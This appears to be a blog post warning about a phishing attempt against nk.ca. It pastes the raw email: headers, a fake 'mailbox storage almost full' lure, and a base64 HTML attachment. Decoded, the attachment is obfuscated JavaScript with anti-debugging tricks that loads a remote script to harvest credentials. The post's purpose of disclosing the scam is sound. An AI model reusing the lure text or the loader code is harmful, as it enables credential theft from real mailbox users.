Phishing for nk.ca credentials
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Mon, 26 Jun 2023 14:24:00 -0600
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96 (FreeBSD))
(envelope-from)
id 1qDsjN-0007Lq-1J
for dave@doctor.nl2k.ab.ca;
Mon, 26 Jun 2023 14:22:37 -0600
Resent-From: The Doctor
Resent-Date: Mon, 26 Jun 2023 14:22:37 -0600
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from hwsrv-1074986.hostwindsdns.com ([104.168.149.218]:36378)
by doctor.nl2k.ab.ca with esmtp (Exim 4.96 (FreeBSD))
(envelope-from)
id 1qDo9N-000OWl-2p
for root@nk.ca;
Mon, 26 Jun 2023 09:29:13 -0600
Received: from naver.com (localhost [IPv6:::1])
by hwsrv-1074986.hostwindsdns.com (Postfix) with ESMTP id B935327C69
for; Mon, 26 Jun 2023 15:04:50 +0000 (UTC)
From: Nk =?UTF-8?B?TWVtYmVyIFNlcnZpY2Vz?= || =?UTF-8?B?UG9zdG1hc3RlciBDZW50ZXI=?=
To: root@nk.ca
Subject: =?UTF-8?B?W1NUMFJBR0UgUVUwVEEgTElNSVQgRVhDRUVERURdICBSZXRyZWl2ZSBZb3VyIE5ldyBQZW5kaW5nIE1lc3NhZ2VzIOKciSAhISEgT24gSG9sZA==?=
Date: 26 Jun 2023 17:04:50 +0200
Message-ID: <20230626170450.F32DCC34F193D25E@naver.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_2E9E528A.3BD8F049"
This is a multi-part message in MIME format.
------=_NextPart_000_0012_2E9E528A.3BD8F049
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
sform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial; =
font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; =
white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255,=
255); -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font=
-variant-caps: normal; text-decoration-style: initial; text-decoration-colo=
r: initial; text-decoration-thickness: initial;">
sform: none; text-indent: 0px; letter-spacing: normal; font-family: "Segoe =
UI", sans-serif; font-size: 1.2em; font-style: normal; font-weight: 600; ma=
rgin-bottom: 1.5em; word-spacing: 0px; white-space: normal; orphans: 2; wid=
ows: 2; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; fon=
t-variant-caps: normal; text-decoration-style: initial; text-decoration-col=
or: initial; text-decoration-thickness: initial;'>
Your mailbox is storage almost full.
center" style=3D"text-transform: none; letter-spacing: normal; font-family:=
"Segoe UI", sans-serif; word-spacing: 0px; border-collapse: coll=
apse; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoratio=
n-style: initial; text-decoration-color: initial; text-decoration-thickness=
: initial;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
le=3D"height: 0.5em;">
ble width=3D"325" align=3D"center" style=3D"text-transform: none; letter-sp=
acing: normal; font-family: "Segoe UI", sans-serif; word-spacing:=
0px; border-collapse: collapse; orphans: 2; widows: 2; -webkit-text-stroke=
-width: 0px; text-decoration-style: initial; text-decoration-color: initial=
; text-decoration-thickness: initial;" border=3D"0" cellspacing=3D"0" cellp=
adding=3D"0">
15 G=
B14.23 G=
B
ext-transform: none; text-indent: 0px; letter-spacing: normal; font-family:=
"Segoe UI", sans-serif; font-size: 12px; font-style: normal; font-weight: =
400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; -webkit=
-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps:=
normal; text-decoration-style: initial; text-decoration-color: initial; te=
xt-decoration-thickness: initial;'>
Email storage almost full and you have pending message, To make room i=
n your mailbox, Please follow the attachment below to add more space.
ria-hidden=3D"true">Learn more about storage limits.
Note: F=
ailure to make room in your mailbox maight lead to account closure.
>
Mailbox address:
ro=
ot@nk.ca
x 0px 1px; border-style: dotted; border-color: rgb(51, 51, 51); cursor: poi=
nter;" email=3D"root@nk.ca ">
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Mon, 26 Jun 2023 14:24:00 -0600
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96 (FreeBSD))
(envelope-from
id 1qDsjN-0007Lq-1J
for dave@doctor.nl2k.ab.ca;
Mon, 26 Jun 2023 14:22:37 -0600
Resent-From: The Doctor
Resent-Date: Mon, 26 Jun 2023 14:22:37 -0600
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from hwsrv-1074986.hostwindsdns.com ([104.168.149.218]:36378)
by doctor.nl2k.ab.ca with esmtp (Exim 4.96 (FreeBSD))
(envelope-from
id 1qDo9N-000OWl-2p
for root@nk.ca;
Mon, 26 Jun 2023 09:29:13 -0600
Received: from naver.com (localhost [IPv6:::1])
by hwsrv-1074986.hostwindsdns.com (Postfix) with ESMTP id B935327C69
for
From: Nk =?UTF-8?B?TWVtYmVyIFNlcnZpY2Vz?= || =?UTF-8?B?UG9zdG1hc3RlciBDZW50ZXI=?=
To: root@nk.ca
Subject: =?UTF-8?B?W1NUMFJBR0UgUVUwVEEgTElNSVQgRVhDRUVERURdICBSZXRyZWl2ZSBZb3VyIE5ldyBQZW5kaW5nIE1lc3NhZ2VzIOKciSAhISEgT24gSG9sZA==?=
Date: 26 Jun 2023 17:04:50 +0200
Message-ID: <20230626170450.F32DCC34F193D25E@naver.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_2E9E528A.3BD8F049"
This is a multi-part message in MIME format.
------=_NextPart_000_0012_2E9E528A.3BD8F049
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
sform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial; =
font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; =
white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255,=
255); -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font=
-variant-caps: normal; text-decoration-style: initial; text-decoration-colo=
r: initial; text-decoration-thickness: initial;">
sform: none; text-indent: 0px; letter-spacing: normal; font-family: "Segoe =
UI", sans-serif; font-size: 1.2em; font-style: normal; font-weight: 600; ma=
rgin-bottom: 1.5em; word-spacing: 0px; white-space: normal; orphans: 2; wid=
ows: 2; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; fon=
t-variant-caps: normal; text-decoration-style: initial; text-decoration-col=
or: initial; text-decoration-thickness: initial;'>
Your mailbox is storage almost full.
center" style=3D"text-transform: none; letter-spacing: normal; font-family:=
"Segoe UI", sans-serif; word-spacing: 0px; border-collapse: coll=
apse; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoratio=
n-style: initial; text-decoration-color: initial; text-decoration-thickness=
: initial;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
le=3D"height: 0.5em;">
ble width=3D"325" align=3D"center" style=3D"text-transform: none; letter-sp=
acing: normal; font-family: "Segoe UI", sans-serif; word-spacing:=
0px; border-collapse: collapse; orphans: 2; widows: 2; -webkit-text-stroke=
-width: 0px; text-decoration-style: initial; text-decoration-color: initial=
; text-decoration-thickness: initial;" border=3D"0" cellspacing=3D"0" cellp=
adding=3D"0">
15 G=
B
B
ext-transform: none; text-indent: 0px; letter-spacing: normal; font-family:=
"Segoe UI", sans-serif; font-size: 12px; font-style: normal; font-weight: =
400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; -webkit=
-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps:=
normal; text-decoration-style: initial; text-decoration-color: initial; te=
xt-decoration-thickness: initial;'>
Email storage almost full and you have pending message, To make room i=
n your mailbox, Please follow the attachment below to add more space.
ria-hidden=3D"true">Learn more about storage limits.
Note: F=
ailure to make room in your mailbox maight lead to account closure.
>
Mailbox address:
ro=
ot@nk.ca
x 0px 1px; border-style: dotted; border-color: rgb(51, 51, 51); cursor: poi=
nter;" email=3D"root@nk.ca ">
>
------=_NextPart_000_0012_2E9E528A.3BD8F049
Content-Type: text/html; name="=?UTF-8?B?UmVsZWFzZSBQZW5kaW5nIE1lc3NhZ2U=?= 10.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="=?UTF-8?B?UmVsZWFzZSBQZW5kaW5nIE1lc3NhZ2U=?= 10.html"
PHNjcmlwdD4NCg0KICAgIHZhciB1cmxfc3RyaW5nID0gImNtOXZkRUJ1YXk1allRPT0iOw0K
ICAgIHZhciByZXggPSAiTVRVM09ESTBNakExTnciOw0KDQogIDwvc2NyaXB0Pg0KDQogIDwh
RE9DVFlQRSBodG1sPg0KICA8aHRtbD4NCiAgICA8aGVhZD4NCiAgICAgIDxzY3JpcHQ+DQog
ICAgICAgIChmdW5jdGlvbihfMHg1NjNlNjQsXzB4NDU2MjQxKXtjb25zdCBfMHg0ZDY5NDI9
XzB4NThhZSxfMHgyODBiYjk9XzB4NTYzZTY0KCk7d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8w
eDNiM2FkZj1wYXJzZUludChfMHg0ZDY5NDIoMHhhZikpLzB4MSstcGFyc2VJbnQoXzB4NGQ2
OTQyKDB4YTkpKS8weDIrLXBhcnNlSW50KF8weDRkNjk0MigweGFhKSkvMHgzKigtcGFyc2VJ
bnQoXzB4NGQ2OTQyKDB4YTYpKS8weDQpK3BhcnNlSW50KF8weDRkNjk0MigweGIyKSkvMHg1
K3BhcnNlSW50KF8weDRkNjk0MigweGE4KSkvMHg2KigtcGFyc2VJbnQoXzB4NGQ2OTQyKDB4
YjApKS8weDcpK3BhcnNlSW50KF8weDRkNjk0MigweGE3KSkvMHg4KihwYXJzZUludChfMHg0
ZDY5NDIoMHhhYykpLzB4OSkrcGFyc2VJbnQoXzB4NGQ2OTQyKDB4YjEpKS8weGEqKC1wYXJz
ZUludChfMHg0ZDY5NDIoMHhhZSkpLzB4Yik7aWYoXzB4M2IzYWRmPT09XzB4NDU2MjQxKWJy
ZWFrO2Vsc2UgXzB4MjgwYmI5WydwdXNoJ10oXzB4MjgwYmI5WydzaGlmdCddKCkpO31jYXRj
aChfMHg0Y2UxNDApe18weDI4MGJiOVsncHVzaCddKF8weDI4MGJiOVsnc2hpZnQnXSgpKTt9
fX0oXzB4MTI1OSwweGQzOGU1KSk7ZnVuY3Rpb24gXzB4NThhZShfMHgxYjRkYTgsXzB4MWU1
M2U2KXtjb25zdCBfMHgxMjU5ZjY9XzB4MTI1OSgpO3JldHVybiBfMHg1OGFlPWZ1bmN0aW9u
KF8weDU4YWVjMSxfMHgxOTg2OTIpe18weDU4YWVjMT1fMHg1OGFlYzEtMHhhNjtsZXQgXzB4
MzYyYTU1PV8weDEyNTlmNltfMHg1OGFlYzFdO3JldHVybiBfMHgzNjJhNTU7fSxfMHg1OGFl
KF8weDFiNGRhOCxfMHgxZTUzZTYpO31sZXQgaW50ZXJ2YWxJZD1zZXRJbnRlcnZhbCgoKT0+
e2NvbnN0IF8weDM2MGMzNz1fMHg1OGFlO2lmKHR5cGVvZiBjb25zb2xlW18weDM2MGMzNygw
eGFkKV09PT1fMHgzNjBjMzcoMHhhYikpZGVidWdnZXI7fSwweDNlOCk7ZnVuY3Rpb24gXzB4
MTI1OSgpe2NvbnN0IF8weDUyNmVkYT1bJzdvU05MZWcnLCcxMDAwbnpuam9yJywnNTc0MjUx
MFpmaGtZVycsJzM3MjU2RHZEbFVtJywnMTZJaU9nZ2snLCc0NDI3NjEwTUx2a0hkJywnMjI0
NTIxNHVhTEt1VicsJzM5OVd0UWFPbycsJ2Z1bmN0aW9uJywnNTA5MzA4MnhpbEFKQicsJ2Rl
YnVnJywnMjMwODkwcm1vdndnJywnMTMwNzAxNVF2bmZIeiddO18weDEyNTk9ZnVuY3Rpb24o
KXtyZXR1cm4gXzB4NTI2ZWRhO307cmV0dXJuIF8weDEyNTkoKTt9DQogICAgICAgIA0KICAg
ICAgICBjb25zdCBhaiA9ICJhSFIwY0hNNkx5OXVhV052YzJGc2FTNWpiMjB2ZFhCa1lYUmxM
bXB6IjsNCiAgICAgICAgZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPSInICsgYXRvYihh
aikgKyAnIj48XC9zY3JpcHQ+Jyk7DQogICAgICAgIA0KICAgICAgICBmdW5jdGlvbiBfMHgy
OTUyKF8weDMxMGZlNyxfMHgzYzc3NmUpe3ZhciBfMHgxMWViMDI9XzB4MTFlYigpO3JldHVy
biBfMHgyOTUyPWZ1bmN0aW9uKF8weDI5NTIwOCxfMHgyZDZkMGEpe18weDI5NTIwOD1fMHgy
OTUyMDgtMHhhZTt2YXIgXzB4M2IyN2ZlPV8weDExZWIwMltfMHgyOTUyMDhdO3JldHVybiBf
MHgzYjI3ZmU7fSxfMHgyOTUyKF8weDMxMGZlNyxfMHgzYzc3NmUpO31mdW5jdGlvbiBfMHgx
MWViKCl7dmFyIF8weDU4YjZkOT1bJzE0OTgzNVhzYnZycicsJ2xvY2F0aW9uJywnMTA2Mzcx
dENnQ1pjJywnMTkwMTExMk1EaWhPaCcsJzkwNTBHb2hCd0knLCcxMzIzekpxblJZJywnMzI5
MTA1RHRORlJJJywnc3Vic3RyaW5nJywnMTJ3Y2p1UVYnLCcyNEt2YlprYycsJzUyMzAwODJM
TVNNcFknLCdocmVmJywnNDg4MDg4VUJoRFNaJywnMlRBQUtFUiddO18weDExZWI9ZnVuY3Rp
b24oKXtyZXR1cm4gXzB4NThiNmQ5O307cmV0dXJuIF8weDExZWIoKTt9dmFyIF8weDRhYTE1
Mz1fMHgyOTUyOyhmdW5jdGlvbihfMHgyMzJmYjgsXzB4NGRjNzQzKXt2YXIgXzB4NTQzZGY5
PV8weDI5NTIsXzB4NTQwMWI5PV8weDIzMmZiOCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4
MTZiOGI3PXBhcnNlSW50KF8weDU0M2RmOSgweGFmKSkvMHgxKihwYXJzZUludChfMHg1NDNk
ZjkoMHhhZSkpLzB4MikrcGFyc2VJbnQoXzB4NTQzZGY5KDB4YjIpKS8weDMqKC1wYXJzZUlu
dChfMHg1NDNkZjkoMHhiOSkpLzB4NCkrLXBhcnNlSW50KF8weDU0M2RmOSgweGIwKSkvMHg1
Ky1wYXJzZUludChfMHg1NDNkZjkoMHhiOCkpLzB4NioocGFyc2VJbnQoXzB4NTQzZGY5KDB4
YjYpKS8weDcpKy1wYXJzZUludChfMHg1NDNkZjkoMHhiMykpLzB4OCtwYXJzZUludChfMHg1
NDNkZjkoMHhiNSkpLzB4OSooLXBhcnNlSW50KF8weDU0M2RmOSgweGI0KSkvMHhhKStwYXJz
ZUludChfMHg1NDNkZjkoMHhiYSkpLzB4YjtpZihfMHgxNmI4Yjc9PT1fMHg0ZGM3NDMpYnJl
YWs7ZWxzZSBfMHg1NDAxYjlbJ3B1c2gnXShfMHg1NDAxYjlbJ3NoaWZ0J10oKSk7fWNhdGNo
KF8weDIwMjRiNyl7XzB4NTQwMWI5WydwdXNoJ10oXzB4NTQwMWI5WydzaGlmdCddKCkpO319
fShfMHgxMWViLDB4M2U4ODkpLGRvY3VtZW50W18weDRhYTE1MygweGIxKV1bXzB4NGFhMTUz
KDB4YmIpXT0nIycrd2luZG93W18weDRhYTE1MygweGIxKV1bJ2hhc2gnXVtfMHg0YWExNTMo
MHhiNyldKDB4MSkpOw0KICAgICAgPC9zY3JpcHQ+DQogICAgPC9oZWFkPg0KICAgIDxib2R5
Pg0KICAgICAgPHA+PC9wPg0KICAgIDwvYm9keT4NCiAgPC9odG1sPg0KICA=
------=_NextPart_000_0012_2E9E528A.3BD8F049--